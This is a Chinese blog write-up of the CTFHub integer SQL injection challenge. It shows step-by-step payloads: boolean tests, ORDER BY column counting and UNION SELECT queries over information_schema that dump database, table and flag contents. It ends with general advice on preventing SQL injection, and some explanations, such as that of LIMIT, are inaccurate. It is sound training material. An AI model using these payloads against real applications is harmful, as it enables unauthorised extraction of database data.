【SQL注入】整数型注入

题目:CTFHUB整数型注入
在这里插入图片描述

输入

1
2
3

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

“select * from news where id=1”:
在名字为“news”的表中查询id为1的数据
输入

1‘#

在这里插入图片描述1'#中:'单引号让字符型查询语句闭合,#将之后的语句注释掉。若为字符型查询语句应为select * from news where id='1'#',应有回显。此处无回显,可以判断为整数型注入。

输入

1 and 1=1

1 and 1=2

得到
在这里插入图片描述
在这里插入图片描述在and 1=1判断为真时执行了查询并回显,and 1=2判断为假时无回显
说明在查询完“id=1”之后执行了and及其之后的语句,存在SQL注入漏洞

输入

1 order by 2
1 order by 3

得到
在这里插入图片描述在这里插入图片描述
order by:用于对结果集按照一个列或者多个列进行排序(默认升序ASC)

SELECT column_name,column_name
FROM table_name
ORDER BY column_name,column_name ASC|DESC;

order by 1,2,3中,“1”和“2”并不是列名,而是按照列表的“第一列”“第二列”进行排序(默认ASC)
此处我们并不关心回显是什么,即排序于我们是无所谓的,我们写这句话的目的是得到这个表的列数
现在我们可以知道这张表长这个样
— + ---------+
| id | name |
— + ----------+
| 1 |CTFHUB|
— + ---------+
| 2 | skill |
—+ ----------+
使用联合注入

-1 union select 1,2

union合并两个或多个 SELECT 语句的结果。

SELECT column_name(s) FROM table1
UNION
SELECT column_name(s) FROM table2;

UNION 内部的每个 SELECT 语句必须拥有相同数量的列。

这就是为什么我们要在前面使用roder by语句去得到这个表的列数

我们使用了union,但是只希望得到之后select 1,2的结果,所以前一句为select * from news where id=-1,查询无果,不会有回显。

select 1,2并且1,2并不是真实存在于这个表中时:1,2会按照的顺序依次输出

得到
在这里插入图片描述

输入

-1 union select 1,group_concat(schema_name) from information_schema.schemata 

group_concat(schema_name)

schema_name

Returns the schema name associated with a schema ID.

schema:数据库对象(表,索引,视图,存储过程等)的集合

group_concat()

该函数返回带有来自一个组的连接的非NULL值的字符串结果。

就是把查询到的数据库名用逗号连接起来组成一个字符串

得到
在这里插入图片描述构造

-1 union select 1,database()

在这里插入图片描述得到当前数据库名sqli
继续构造

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' limit 1

table_name表名
information_schema信息数据库

提供当前项目的元数据视图,不支持跨项目的元数据访问。

是一个存放了当前数据库管理系统中所有数据库信息的一个数据库,数据库只能进行读取,不支持修改(增、删、改)

table_schema数据库名称
limit 1将查询结果一级缓存,即查询到一条数据后就不再继续查询,特定情况下提高查询效率
得到
在这里插入图片描述得知在“sqli”数据库下有两张表,分别名为“flag”和“news”
继续构造

-1 union select 1,group_concat(flag) from sqli.flag	limit 1

在“sqli”数据库下的“flag”表中查询flag项,并限制结果一级缓存
得到
在这里插入图片描述
注入完毕,得到flag

  • 5
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SQL中,可以采取以下措施来防止SQL注入攻击: 1. 使用参数化查询(Prepared Statements):这种方法通过将查询参数化,而不是直接将用户输入的值嵌入到查询语句中,来防止注入攻击。参数化查询使用占位符来表示查询中的变量,并在执行查询之前将用户输入的值与占位符绑定。这样可以确保输入的值不会被解释为SQL代码。 2. 输入验证和过滤:对用户输入进行验证和过滤,确保只接受有效和预期的输入。可以使用正则表达式或其他验证方法来检查输入是否符合预期的格式和类型。例如,如果一个字段应该是整数类型,可以验证输入是否为数字类型并且在合理的范围内。 3. 最小化权限:将数据库用户的权限限制到最小必要的操作上,以减少攻击者可以利用的漏洞。例如,只给予读取和写入所需的表的权限,而不是给予完整的数据库管理员权限。 4. 避免动态拼接SQL查询字符串:尽量避免将用户输入直接拼接到SQL查询字符串中,因为这样容易受到注入攻击。如果需要动态构建查询,可以使用参数化查询或者使用ORM(对象关系映射)工具,这些工具会自动处理参数化查询。 5. 日志记录和监控:定期审计数据库日志,以便发现任何可疑的数据库操作。实时监控数据库活动,可以帮助及时发现并阻止潜在的攻击。 请注意,以上措施只是一些常用的方法,但并不能完全保证防止所有的SQL注入攻击。因此,在开发过程中,仍然需要综合考虑其他安全措施来保护数据库和应用程序的安全性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值